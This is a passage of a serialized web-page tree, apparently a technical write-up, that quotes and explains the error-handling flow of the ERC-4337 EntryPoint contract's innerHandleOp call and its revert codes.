opInfo\n",{"type":24,"tag":90,"props":106581,"children":106582},{"class":92,"line":258},[106583],{"type":24,"tag":90,"props":106584,"children":106585},{"style":114},[106586],{"type":29,"value":25727},{"type":24,"tag":90,"props":106588,"children":106589},{"class":92,"line":272},[106590,106595],{"type":24,"tag":90,"props":106591,"children":106592},{"style":97},[106593],{"type":29,"value":106594}," internal",{"type":24,"tag":90,"props":106596,"children":106597},{"style":97},[106598],{"type":29,"value":106599}," virtual\n",{"type":24,"tag":90,"props":106601,"children":106602},{"class":92,"line":281},[106603,106607,106611,106615,106620],{"type":24,"tag":90,"props":106604,"children":106605},{"style":636},[106606],{"type":29,"value":48331},{"type":24,"tag":90,"props":106608,"children":106609},{"style":114},[106610],{"type":29,"value":1151},{"type":24,"tag":90,"props":106612,"children":106613},{"style":146},[106614],{"type":29,"value":47990},{"type":24,"tag":90,"props":106616,"children":106617},{"style":136},[106618],{"type":29,"value":106619}," collected",{"type":24,"tag":90,"props":106621,"children":106622},{"style":114},[106623],{"type":29,"value":1297},{"type":24,"tag":90,"props":106625,"children":106626},{"class":92,"line":384},[106627],{"type":24,"tag":90,"props":106628,"children":106629},{"style":114},[106630],{"type":29,"value":106631}," [...]\n",{"type":24,"tag":90,"props":106633,"children":106634},{"class":92,"line":420},[106635,106640],{"type":24,"tag":90,"props":106636,"children":106637},{"style":146},[106638],{"type":29,"value":106639}," bool",{"type":24,"tag":90,"props":106641,"children":106642},{"style":114},[106643],{"type":29,"value":106644}," success;\n",{"type":24,"tag":90,"props":106646,"children":106647},{"class":92,"line":428},[106648],{"type":24,"tag":90,"props":106649,"children":106650},{"style":114},[106651],{"type":29,"value":33472},{"type":24,"tag":90,"props":106653,"children":106654},{"class":92,"line":437},[106655],{"type":24,"tag":90,"props":106656,"children":106657},{"style":114},[106658],{"type":29,"value":106631},{"type":24,"tag":90,"props":106660,"children":106661},{"class":92,"line":574},[106662,106666,106671,106675],{"type":24,"tag":90,"props":106663,"children":106664},{"style":636},[106665],{"type":29,"value":60626},{"type":24,"tag":90,"props":106667,"children":106668},{"style":114},[106669],{"type":29,"value":106670}," (methodSig ",{"type":24,"tag":90,"props":106672,"children":106673},{"style":120},[106674],{"type":29,"value":10951},{"type":24,"tag":90,"props":106676,"children":106677},{"style":114},[106678],{"type":29,"value":106679}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":90,"props":106681,"children":106682},{"class":92,"line":606},[106683,106688,106692,106697,106701,106705,106709,106714],{"type":24,"tag":90,"props":106684,"children":106685},{"style":146},[106686],{"type":29,"value":106687}," bytes",{"type":24,"tag":90,"props":106689,"children":106690},{"style":97},[106691],{"type":29,"value":104910},{"type":24,"tag":90,"props":106693,"children":106694},{"style":114},[106695],{"type":29,"value":106696}," executeUserOp ",{"type":24,"tag":90,"props":106698,"children":106699},{"style":120},[106700],{"type":29,"value":5491},{"type":24,"tag":90,"props":106702,"children":106703},{"style":97},[106704],{"type":29,"value":105507},{"type":24,"tag":90,"props":106706,"children":106707},{"style":114},[106708],{"type":29,"value":226},{"type":24,"tag":90,"props":106710,"children":106711},{"style":108},[106712],{"type":29,"value":106713},"encodeCall",{"type":24,"tag":90,"props":106715,"children":106716},{"style":114},[106717],{"type":29,"value":106718},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":90,"props":106720,"children":106721},{"class":92,"line":615},[106722,106727,106731,106735,106739,106743,106747,106751],{"type":24,"tag":90,"props":106723,"children":106724},{"style":114},[106725],{"type":29,"value":106726}," innerCall ",{"type":24,"tag":90,"props":106728,"children":106729},{"style":120},[106730],{"type":29,"value":5491},{"type":24,"tag":90,"props":106732,"children":106733},{"style":97},[106734],{"type":29,"value":105507},{"type":24,"tag":90,"props":106736,"children":106737},{"style":114},[106738],{"type":29,"value":226},{"type":24,"tag":90,"props":106740,"children":106741},{"style":108},[106742],{"type":29,"value":106713},{"type":24,"tag":90,"props":106744,"children":106745},{"style":114},[106746],{"type":29,"value":117},{"type":24,"tag":90,"props":106748,"children":106749},{"style":97},[106750],{"type":29,"value":4216},{"type":24,"tag":90,"props":106752,"children":106753},{"style":114},[106754],{"type":29,"value":106755},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":90,"props":106757,"children":106758},{"class":92,"line":623},[106759,106763],{"type":24,"tag":90,"props":106760,"children":106761},{"style":114},[106762],{"type":29,"value":72422},{"type":24,"tag":90,"props":106764,"children":106765},{"style":636},[106766],{"type":29,"value":106767},"else\n",{"type":24,"tag":90,"props":106769,"children":106770},{"class":92,"line":632},[106771],{"type":24,"tag":90,"props":106772,"children":106773},{"style":114},[106774],{"type":29,"value":33508},{"type":24,"tag":90,"props":106776,"children":106777},{"class":92,"line":669},[106778,106782,106786,106790,106794,106798,106802,106806],{"type":24,"tag":90,"props":106779,"children":106780},{"style":114},[106781],{"type":29,"value":106726},{"type":24,"tag":90,"props":106783,"children":106784},{"style":120},[106785],{"type":29,"value":5491},{"type":24,"tag":90,"props":106787,"children":106788},{"style":97},[106789],{"type":29,"value":105507},{"type":24,"tag":90,"props":106791,"children":106792},{"style":114},[106793],{"type":29,"value":226},{"type":24,"tag":90,"props":106795,"children":106796},{"style":108},[106797],{"type":29,"value":106713},{"type":24,"tag":90,"props":106799,"children":106800},{"style":114},[106801],{"type":29,"value":117},{"type":24,"tag":90,"props":106803,"children":106804},{"style":97},[106805],{"type":29,"value":4216},{"type":24,"tag":90,"props":106807,"children":106808},{"style":114},[106809],{"type":29,"value":106810},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":90,"props":106812,"children":106813},{"class":92,"line":683},[106814],{"type":24,"tag":90,"props":106815,"children":106816},{"style":114},[106817],{"type":29,"value":60710},{"type":24,"tag":90,"props":106819,"children":106820},{"class":92,"line":737},[106821,106826,106830,106835],{"type":24,"tag":90,"props":106822,"children":106823},{"style":108},[106824],{"type":29,"value":106825}," assembly",{"type":24,"tag":90,"props":106827,"children":106828},{"style":114},[106829],{"type":29,"value":1151},{"type":24,"tag":90,"props":106831,"children":106832},{"style":1085},[106833],{"type":29,"value":106834},"\"memory-safe\"",{"type":24,"tag":90,"props":106836,"children":106837},{"style":114},[106838],{"type":29,"value":1297},{"type":24,"tag":90,"props":106840,"children":106841},{"class":92,"line":751},[106842,106847,106851,106855,106859,106864,106868,106872,106876,106880,106884,106888,106893,106898,106902,106907,106912,106916,106920,106924],{"type":24,"tag":90,"props":106843,"children":106844},{"style":114},[106845],{"type":29,"value":106846}," success ",{"type":24,"tag":90,"props":106848,"children":106849},{"style":120},[106850],{"type":29,"value":23403},{"type":24,"tag":90,"props":106852,"children":106853},{"style":108},[106854],{"type":29,"value":42780},{"type":24,"tag":90,"props":106856,"children":106857},{"style":114},[106858],{"type":29,"value":117},{"type":24,"tag":90,"props":106860,"children":106861},{"style":108},[106862],{"type":29,"value":106863},"gas",{"type":24,"tag":90,"props":106865,"children":106866},{"style":114},[106867],{"type":29,"value":4900},{"type":24,"tag":90,"props":106869,"children":106870},{"style":146},[106871],{"type":29,"value":34454},{"type":24,"tag":90,"props":106873,"children":106874},{"style":114},[106875],{"type":29,"value":4900},{"type":24,"tag":90,"props":106877,"children":106878},{"style":349},[106879],{"type":29,"value":6408},{"type":24,"tag":90,"props":106881,"children":106882},{"style":114},[106883],{"type":29,"value":133},{"type":24,"tag":90,"props":106885,"children":106886},{"style":108},[106887],{"type":29,"value":1505},{"type":24,"tag":90,"props":106889,"children":106890},{"style":114},[106891],{"type":29,"value":106892},"(innerCall, ",{"type":24,"tag":90,"props":106894,"children":106895},{"style":349},[106896],{"type":29,"value":106897},"0x20",{"type":24,"tag":90,"props":106899,"children":106900},{"style":114},[106901],{"type":29,"value":1677},{"type":24,"tag":90,"props":106903,"children":106904},{"style":108},[106905],{"type":29,"value":106906},"mload",{"type":24,"tag":90,"props":106908,"children":106909},{"style":114},[106910],{"type":29,"value":106911},"(innerCall), ",{"type":24,"tag":90,"props":106913,"children":106914},{"style":349},[106915],{"type":29,"value":6408},{"type":24,"tag":90,"props":106917,"children":106918},{"style":114},[106919],{"type":29,"value":133},{"type":24,"tag":90,"props":106921,"children":106922},{"style":349},[106923],{"type":29,"value":62172},{"type":24,"tag":90,"props":106925,"children":106926},{"style":114},[106927],{"type":29,"value":1686},{"type":24,"tag":90,"props":106929,"children":106930},{"class":92,"line":782},[106931,106936,106940,106945,106949,106953],{"type":24,"tag":90,"props":106932,"children":106933},{"style":114},[106934],{"type":29,"value":106935}," collected ",{"type":24,"tag":90,"props":106937,"children":106938},{"style":120},[106939],{"type":29,"value":23403},{"type":24,"tag":90,"props":106941,"children":106942},{"style":108},[106943],{"type":29,"value":106944}," mload",{"type":24,"tag":90,"props":106946,"children":106947},{"style":114},[106948],{"type":29,"value":117},{"type":24,"tag":90,"props":106950,"children":106951},{"style":349},[106952],{"type":29,"value":6408},{"type":24,"tag":90,"props":106954,"children":106955},{"style":114},[106956],{"type":29,"value":1686},{"type":24,"tag":90,"props":106958,"children":106959},{"class":92,"line":791},[106960],{"type":24,"tag":90,"props":106961,"children":106962},{"style":114},[106963],{"type":29,"value":60710},{"type":24,"tag":90,"props":106965,"children":106966},{"class":92,"line":799},[106967,106972],{"type":24,"tag":90,"props":106968,"children":106969},{"style":108},[106970],{"type":29,"value":106971}," _restoreFreePtr",{"type":24,"tag":90,"props":106973,"children":106974},{"style":114},[106975],{"type":29,"value":106976},"(saveFreePtr);\n",{"type":24,"tag":90,"props":106978,"children":106979},{"class":92,"line":807},[106980],{"type":24,"tag":90,"props":106981,"children":106982},{"style":114},[106983],{"type":29,"value":5740},{"type":24,"tag":90,"props":106985,"children":106986},{"class":92,"line":821},[106987,106991,106995,106999],{"type":24,"tag":90,"props":106988,"children":106989},{"style":636},[106990],{"type":29,"value":5667},{"type":24,"tag":90,"props":106992,"children":106993},{"style":114},[106994],{"type":29,"value":1151},{"type":24,"tag":90,"props":106996,"children":106997},{"style":120},[106998],{"type":29,"value":22417},{"type":24,"tag":90,"props":107000,"children":107001},{"style":114},[107002],{"type":29,"value":107003},"success) {\n",{"type":24,"tag":90,"props":107005,"children":107006},{"class":92,"line":6278},[107007],{"type":24,"tag":90,"props":107008,"children":107009},{"style":114},[107010],{"type":29,"value":106631},{"type":24,"tag":90,"props":107012,"children":107013},{"class":92,"line":11420},[107014,107018,107023,107027],{"type":24,"tag":90,"props":107015,"children":107016},{"style":636},[107017],{"type":29,"value":60626},{"type":24,"tag":90,"props":107019,"children":107020},{"style":114},[107021],{"type":29,"value":107022}," (innerRevertCode ",{"type":24,"tag":90,"props":107024,"children":107025},{"style":120},[107026],{"type":29,"value":10951},{"type":24,"tag":90,"props":107028,"children":107029},{"style":114},[107030],{"type":29,"value":107031}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":90,"props":107033,"children":107034},{"class":92,"line":11438},[107035],{"type":24,"tag":90,"props":107036,"children":107037},{"style":252},[107038],{"type":29,"value":107039}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":90,"props":107041,"children":107042},{"class":92,"line":11483},[107043],{"type":24,"tag":90,"props":107044,"children":107045},{"style":252},[107046],{"type":29,"value":107047}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":90,"props":107049,"children":107050},{"class":92,"line":11589},[107051,107056,107061,107066,107071],{"type":24,"tag":90,"props":107052,"children":107053},{"style":636},[107054],{"type":29,"value":107055}," revert",{"type":24,"tag":90,"props":107057,"children":107058},{"style":108},[107059],{"type":29,"value":107060}," FailedOp",{"type":24,"tag":90,"props":107062,"children":107063},{"style":114},[107064],{"type":29,"value":107065},"(opIndex, ",{"type":24,"tag":90,"props":107067,"children":107068},{"style":1085},[107069],{"type":29,"value":107070},"\"AA95 out of gas\"",{"type":24,"tag":90,"props":107072,"children":107073},{"style":114},[107074],{"type":29,"value":571},{"type":24,"tag":90,"props":107076,"children":107077},{"class":92,"line":25306},[107078,107082,107086,107090,107094,107098],{"type":24,"tag":90,"props":107079,"children":107080},{"style":114},[107081],{"type":29,"value":72422},{"type":24,"tag":90,"props":107083,"children":107084},{"style":636},[107085],{"type":29,"value":2293},{"type":24,"tag":90,"props":107087,"children":107088},{"style":636},[107089],{"type":29,"value":2298},{"type":24,"tag":90,"props":107091,"children":107092},{"style":114},[107093],{"type":29,"value":107022},{"type":24,"tag":90,"props":107095,"children":107096},{"style":120},[107097],{"type":29,"value":10951},{"type":24,"tag":90,"props":107099,"children":107100},{"style":114},[107101],{"type":29,"value":107102}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":90,"props":107104,"children":107105},{"class":92,"line":25341},[107106],{"type":24,"tag":90,"props":107107,"children":107108},{"style":252},[107109],{"type":29,"value":107110}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":90,"props":107112,"children":107113},{"class":92,"line":25349},[107114,107118,107123,107127,107132,107136,107141,107145,107149],{"type":24,"tag":90,"props":107115,"children":107116},{"style":146},[107117],{"type":29,"value":105290},{"type":24,"tag":90,"props":107119,"children":107120},{"style":114},[107121],{"type":29,"value":107122}," actualGas ",{"type":24,"tag":90,"props":107124,"children":107125},{"style":120},[107126],{"type":29,"value":5491},{"type":24,"tag":90,"props":107128,"children":107129},{"style":114},[107130],{"type":29,"value":107131}," preGas ",{"type":24,"tag":90,"props":107133,"children":107134},{"style":120},[107135],{"type":29,"value":346},{"type":24,"tag":90,"props":107137,"children":107138},{"style":97},[107139],{"type":29,"value":107140}," gasleft",{"type":24,"tag":90,"props":107142,"children":107143},{"style":114},[107144],{"type":29,"value":495},{"type":24,"tag":90,"props":107146,"children":107147},{"style":120},[107148],{"type":29,"value":6767},{"type":24,"tag":90,"props":107150,"children":107151},{"style":114},[107152],{"type":29,"value":107153}," opInfo.preOpGas;\n",{"type":24,"tag":90,"props":107155,"children":107156},{"class":92,"line":25357},[107157,107161,107165,107169],{"type":24,"tag":90,"props":107158,"children":107159},{"style":146},[107160],{"type":29,"value":105290},{"type":24,"tag":90,"props":107162,"children":107163},{"style":114},[107164],{"type":29,"value":105937},{"type":24,"tag":90,"props":107166,"children":107167},{"style":120},[107168],{"type":29,"value":5491},{"type":24,"tag":90,"props":107170,"children":107171},{"style":114},[107172],{"type":29,"value":107173}," opInfo.prefund;\n",{"type":24,"tag":90,"props":107175,"children":107176},{"class":92,"line":25366},[107177,107182],{"type":24,"tag":90,"props":107178,"children":107179},{"style":108},[107180],{"type":29,"value":107181}," _emitPrefundTooLow",{"type":24,"tag":90,"props":107183,"children":107184},{"style":114},[107185],{"type":29,"value":107186},"(opInfo);\n",{"type":24,"tag":90,"props":107188,"children":107189},{"class":92,"line":25408},[107190,107195,107200,107204],{"type":24,"tag":90,"props":107191,"children":107192},{"style":108},[107193],{"type":29,"value":107194}," _emitUserOperationEvent",{"type":24,"tag":90,"props":107196,"children":107197},{"style":114},[107198],{"type":29,"value":107199},"(opInfo, ",{"type":24,"tag":90,"props":107201,"children":107202},{"style":97},[107203],{"type":29,"value":10552},{"type":24,"tag":90,"props":107205,"children":107206},{"style":114},[107207],{"type":29,"value":107208},", actualGasCost, actualGas);\n",{"type":24,"tag":90,"props":107210,"children":107211},{"class":92,"line":25441},[107212,107216,107220],{"type":24,"tag":90,"props":107213,"children":107214},{"style":114},[107215],{"type":29,"value":106935},{"type":24,"tag":90,"props":107217,"children":107218},{"style":120},[107219],{"type":29,"value":5491},{"type":24,"tag":90,"props":107221,"children":107222},{"style":114},[107223],{"type":29,"value":107224}," actualGasCost;\n",{"type":24,"tag":90,"props":107226,"children":107227},{"class":92,"line":25449},[107228,107232,107236],{"type":24,"tag":90,"props":107229,"children":107230},{"style":114},[107231],{"type":29,"value":72422},{"type":24,"tag":90,"props":107233,"children":107234},{"style":636},[107235],{"type":29,"value":2293},{"type":24,"tag":90,"props":107237,"children":107238},{"style":114},[107239],{"type":29,"value":269},{"type":24,"tag":90,"props":107241,"children":107242},{"class":92,"line":25457},[107243],{"type":24,"tag":90,"props":107244,"children":107245},{"style":114},[107246],{"type":29,"value":106631},{"type":24,"tag":90,"props":107248,"children":107249},{"class":92,"line":25466},[107250,107254,107258,107263],{"type":24,"tag":90,"props":107251,"children":107252},{"style":114},[107253],{"type":29,"value":106935},{"type":24,"tag":90,"props":107255,"children":107256},{"style":120},[107257],{"type":29,"value":5491},{"type":24,"tag":90,"props":107259,"children":107260},{"style":108},[107261],{"type":29,"value":107262}," _postExecution",{"type":24,"tag":90,"props":107264,"children":107265},{"style":114},[107266],{"type":29,"value":680},{"type":24,"tag":90,"props":107268,"children":107269},{"class":92,"line":25542},[107270],{"type":24,"tag":90,"props":107271,"children":107272},{"style":114},[107273],{"type":29,"value":107274}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":90,"props":107276,"children":107277},{"class":92,"line":25575},[107278],{"type":24,"tag":90,"props":107279,"children":107280},{"style":114},[107281],{"type":29,"value":107282}," opInfo,\n",{"type":24,"tag":90,"props":107284,"children":107285},{"class":92,"line":25583},[107286],{"type":24,"tag":90,"props":107287,"children":107288},{"style":114},[107289],{"type":29,"value":107290}," context,\n",{"type":24,"tag":90,"props":107292,"children":107293},{"class":92,"line":25591},[107294],{"type":24,"tag":90,"props":107295,"children":107296},{"style":114},[107297],{"type":29,"value":107298}," actualGas\n",{"type":24,"tag":90,"props":107300,"children":107301},{"class":92,"line":25628},[107302],{"type":24,"tag":90,"props":107303,"children":107304},{"style":114},[107305],{"type":29,"value":107306}," );\n",{"type":24,"tag":90,"props":107308,"children":107309},{"class":92,"line":25641},[107310],{"type":24,"tag":90,"props":107311,"children":107312},{"style":114},[107313],{"type":29,"value":60710},{"type":24,"tag":90,"props":107315,"children":107316},{"class":92,"line":25654},[107317],{"type":24,"tag":90,"props":107318,"children":107319},{"style":114},[107320],{"type":29,"value":5740},{"type":24,"tag":90,"props":107322,"children":107323},{"class":92,"line":25667},[107324],{"type":24,"tag":90,"props":107325,"children":107326},{"style":114},[107327],{"type":29,"value":612},{"type":24,"tag":25,"props":107329,"children":107330},{},[107331,107333,107338,107340,107346,107348,107354,107356,107362],{"type":29,"value":107332},"During execution, the ",{"type":24,"tag":32,"props":107334,"children":107336},{"className":107335},[],[107337],{"type":29,"value":104093},{"type":29,"value":107339}," contract makes a ",{"type":24,"tag":69,"props":107341,"children":107344},{"href":107342,"rel":107343},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[73],[107345],{"type":29,"value":40112},{"type":29,"value":107347}," to its own ",{"type":24,"tag":32,"props":107349,"children":107351},{"className":107350},[],[107352],{"type":29,"value":107353},"innerHandleOp",{"type":29,"value":107355}," function through a low-level ",{"type":24,"tag":32,"props":107357,"children":107359},{"className":107358},[],[107360],{"type":29,"value":107361},"call()",{"type":29,"value":107363},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":107365,"children":107366},{},[107367,107369,107375,107376,107381,107383,107390,107392,107398],{"type":29,"value":107368},"If this call fails (when ",{"type":24,"tag":32,"props":107370,"children":107372},{"className":107371},[],[107373],{"type":29,"value":107374},"success",{"type":29,"value":67},{"type":24,"tag":32,"props":107377,"children":107379},{"className":107378},[],[107380],{"type":29,"value":10552},{"type":29,"value":107382},"), the code enters an ",{"type":24,"tag":69,"props":107384,"children":107387},{"href":107385,"rel":107386},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[73],[107388],{"type":29,"value":107389},"error handling",{"type":29,"value":107391}," flow that checks the ",{"type":24,"tag":32,"props":107393,"children":107395},{"className":107394},[],[107396],{"type":29,"value":107397},"innerRevertCode",{"type":29,"value":107399},". There are three possible paths:",{"type":24,"tag":3100,"props":107401,"children":107402},{},[107403,107427,107445],{"type":24,"tag":3104,"props":107404,"children":107405},{},[107406,107407,107412,107413,107419,107421,107426],{"type":29,"value":9861},{"type":24,"tag":32,"props":107408,"children":107410},{"className":107409},[],[107411],{"type":29,"value":107397},{"type":29,"value":67},{"type":24,"tag":32,"props":107414,"children":107416},{"className":107415},[],[107417],{"type":29,"value":107418},"INNER_OUT_OF_GAS",{"type":29,"value":107420},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":32,"props":107422,"children":107424},{"className":107423},[],[107425],{"type":29,"value":107070},{"type":29,"value":226},{"type":24,"tag":3104,"props":107428,"children":107429},{},[107430,107431,107436,107437,107443],{"type":29,"value":9861},{"type":24,"tag":32,"props":107432,"children":107434},{"className":107433},[],[107435],{"type":29,"value":107397},{"type":29,"value":67},{"type":24,"tag":32,"props":107438,"children":107440},{"className":107439},[],[107441],{"type":29,"value":107442},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":107444},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":3104,"props":107446,"children":107447},{},[107448,107450,107456,107458,107464],{"type":29,"value":107449},"For any other revert reason, the code will still call ",{"type":24,"tag":32,"props":107451,"children":107453},{"className":107452},[],[107454],{"type":29,"value":107455},"_postExecution()",{"type":29,"value":107457}," but with ",{"type":24,"tag":32,"props":107459,"children":107461},{"className":107460},[],[107462],{"type":29,"value":107463},"PostOpMode.postOpReverted",{"type":29,"value":107465},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":107467,"children":107468},{},[107469,107471,107476,107478,107483,107485,107490,107492,107497],{"type":29,"value":107470},"We're particularly interested in the third error path, where ",{"type":24,"tag":32,"props":107472,"children":107474},{"className":107473},[],[107475],{"type":29,"value":107397},{"type":29,"value":107477}," is neither ",{"type":24,"tag":32,"props":107479,"children":107481},{"className":107480},[],[107482],{"type":29,"value":107418},{"type":29,"value":107484}," nor ",{"type":24,"tag":32,"props":107486,"children":107488},{"className":107487},[],[107489],{"type":29,"value":107442},{"type":29,"value":107491},". To understand this case better, let's examine how ",{"type":24,"tag":32,"props":107493,"children":107495},{"className":107494},[],[107496],{"type":29,"value":107353},{"type":29,"value":107498}," works.",{"type":24,"tag":80,"props":107500,"children":107502},{"className":6861,"code":107501,"language":6860,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[107503],{"type":24,"tag":32,"props":107504,"children":107505},{"__ignoreMap":7},[107506,107522,107543,107563,107579,107612,107619,107636,107660,107700,107719,107744,107778,107802,107819,107827,107835,107843,107851,107859,107866,107879,107896,107903,107910,107917,107928,107967,107983,107990],{"type":24,"tag":90,"props":107507,"children":107508},{"class":92,"line":93},[107509,107513,107518],{"type":24,"tag":90,"props":107510,"children":107511},{"style":97},[107512],{"type":29,"value":91661},{"type":24,"tag":90,"props":107514,"children":107515},{"style":108},[107516],{"type":29,"value":107517}," innerHandleOp",{"type":24,"tag":90,"props":107519,"children":107520},{"style":114},[107521],{"type":29,"value":680},{"type":24,"tag":90,"props":107523,"children":107524},{"class":92,"line":200},[107525,107530,107534,107539],{"type":24,"tag":90,"props":107526,"children":107527},{"style":146},[107528],{"type":29,"value":107529}," bytes",{"type":24,"tag":90,"props":107531,"children":107532},{"style":97},[107533],{"type":29,"value":104910},{"type":24,"tag":90,"props":107535,"children":107536},{"style":136},[107537],{"type":29,"value":107538}," callData",{"type":24,"tag":90,"props":107540,"children":107541},{"style":114},[107542],{"type":29,"value":748},{"type":24,"tag":90,"props":107544,"children":107545},{"class":92,"line":239},[107546,107550,107554,107559],{"type":24,"tag":90,"props":107547,"children":107548},{"style":97},[107549],{"type":29,"value":106570},{"type":24,"tag":90,"props":107551,"children":107552},{"style":97},[107553],{"type":29,"value":104910},{"type":24,"tag":90,"props":107555,"children":107556},{"style":136},[107557],{"type":29,"value":107558}," opInfo",{"type":24,"tag":90,"props":107560,"children":107561},{"style":114},[107562],{"type":29,"value":748},{"type":24,"tag":90,"props":107564,"children":107565},{"class":92,"line":248},[107566,107570,107574],{"type":24,"tag":90,"props":107567,"children":107568},{"style":146},[107569],{"type":29,"value":107529},{"type":24,"tag":90,"props":107571,"children":107572},{"style":97},[107573],{"type":29,"value":104842},{"type":24,"tag":90,"props":107575,"children":107576},{"style":136},[107577],{"type":29,"value":107578}," context\n",{"type":24,"tag":90,"props":107580,"children":107581},{"class":92,"line":258},[107582,107587,107592,107596,107600,107604,107608],{"type":24,"tag":90,"props":107583,"children":107584},{"style":114},[107585],{"type":29,"value":107586}," ) ",{"type":24,"tag":90,"props":107588,"children":107589},{"style":97},[107590],{"type":29,"value":107591},"external",{"type":24,"tag":90,"props":107593,"children":107594},{"style":636},[107595],{"type":29,"value":77823},{"type":24,"tag":90,"props":107597,"children":107598},{"style":114},[107599],{"type":29,"value":1151},{"type":24,"tag":90,"props":107601,"children":107602},{"style":146},[107603],{"type":29,"value":47990},{"type":24,"tag":90,"props":107605,"children":107606},{"style":136},[107607],{"type":29,"value":105651},{"type":24,"tag":90,"props":107609,"children":107610},{"style":114},[107611],{"type":29,"value":1297},{"type":24,"tag":90,"props":107613,"children":107614},{"class":92,"line":272},[107615],{"type":24,"tag":90,"props":107616,"children":107617},{"style":114},[107618],{"type":29,"value":106631},{"type":24,"tag":90,"props":107620,"children":107621},{"class":92,"line":281},[107622,107627,107631],{"type":24,"tag":90,"props":107623,"children":107624},{"style":114},[107625],{"type":29,"value":107626}," IPaymaster.PostOpMode mode ",{"type":24,"tag":90,"props":107628,"children":107629},{"style":120},[107630],{"type":29,"value":5491},{"type":24,"tag":90,"props":107632,"children":107633},{"style":114},[107634],{"type":29,"value":107635}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":90,"props":107637,"children":107638},{"class":92,"line":384},[107639,107643,107648,107652,107656],{"type":24,"tag":90,"props":107640,"children":107641},{"style":636},[107642],{"type":29,"value":5667},{"type":24,"tag":90,"props":107644,"children":107645},{"style":114},[107646],{"type":29,"value":107647}," (callData.length ",{"type":24,"tag":90,"props":107649,"children":107650},{"style":120},[107651],{"type":29,"value":12830},{"type":24,"tag":90,"props":107653,"children":107654},{"style":349},[107655],{"type":29,"value":5448},{"type":24,"tag":90,"props":107657,"children":107658},{"style":114},[107659],{"type":29,"value":1297},{"type":24,"tag":90,"props":107661,"children":107662},{"class":92,"line":420},[107663,107668,107673,107677,107682,107686,107691,107695],{"type":24,"tag":90,"props":107664,"children":107665},{"style":146},[107666],{"type":29,"value":107667}," bool",{"type":24,"tag":90,"props":107669,"children":107670},{"style":114},[107671],{"type":29,"value":107672}," success ",{"type":24,"tag":90,"props":107674,"children":107675},{"style":120},[107676],{"type":29,"value":5491},{"type":24,"tag":90,"props":107678,"children":107679},{"style":114},[107680],{"type":29,"value":107681}," Exec.",{"type":24,"tag":90,"props":107683,"children":107684},{"style":108},[107685],{"type":29,"value":40112},{"type":24,"tag":90,"props":107687,"children":107688},{"style":114},[107689],{"type":29,"value":107690},"(mUserOp.sender, ",{"type":24,"tag":90,"props":107692,"children":107693},{"style":349},[107694],{"type":29,"value":6408},{"type":24,"tag":90,"props":107696,"children":107697},{"style":114},[107698],{"type":29,"value":107699},", callData, callGasLimit);\n",{"type":24,"tag":90,"props":107701,"children":107702},{"class":92,"line":428},[107703,107707,107711,107715],{"type":24,"tag":90,"props":107704,"children":107705},{"style":636},[107706],{"type":29,"value":60626},{"type":24,"tag":90,"props":107708,"children":107709},{"style":114},[107710],{"type":29,"value":1151},{"type":24,"tag":90,"props":107712,"children":107713},{"style":120},[107714],{"type":29,"value":22417},{"type":24,"tag":90,"props":107716,"children":107717},{"style":114},[107718],{"type":29,"value":107003},{"type":24,"tag":90,"props":107720,"children":107721},{"class":92,"line":437},[107722,107726,107731,107735,107740],{"type":24,"tag":90,"props":107723,"children":107724},{"style":146},[107725],{"type":29,"value":105290},{"type":24,"tag":90,"props":107727,"children":107728},{"style":114},[107729],{"type":29,"value":107730}," freePtr ",{"type":24,"tag":90,"props":107732,"children":107733},{"style":120},[107734],{"type":29,"value":5491},{"type":24,"tag":90,"props":107736,"children":107737},{"style":108},[107738],{"type":29,"value":107739}," _getFreePtr",{"type":24,"tag":90,"props":107741,"children":107742},{"style":114},[107743],{"type":29,"value":236},{"type":24,"tag":90,"props":107745,"children":107746},{"class":92,"line":574},[107747,107751,107755,107760,107764,107768,107773],{"type":24,"tag":90,"props":107748,"children":107749},{"style":146},[107750],{"type":29,"value":106687},{"type":24,"tag":90,"props":107752,"children":107753},{"style":97},[107754],{"type":29,"value":104910},{"type":24,"tag":90,"props":107756,"children":107757},{"style":114},[107758],{"type":29,"value":107759}," result 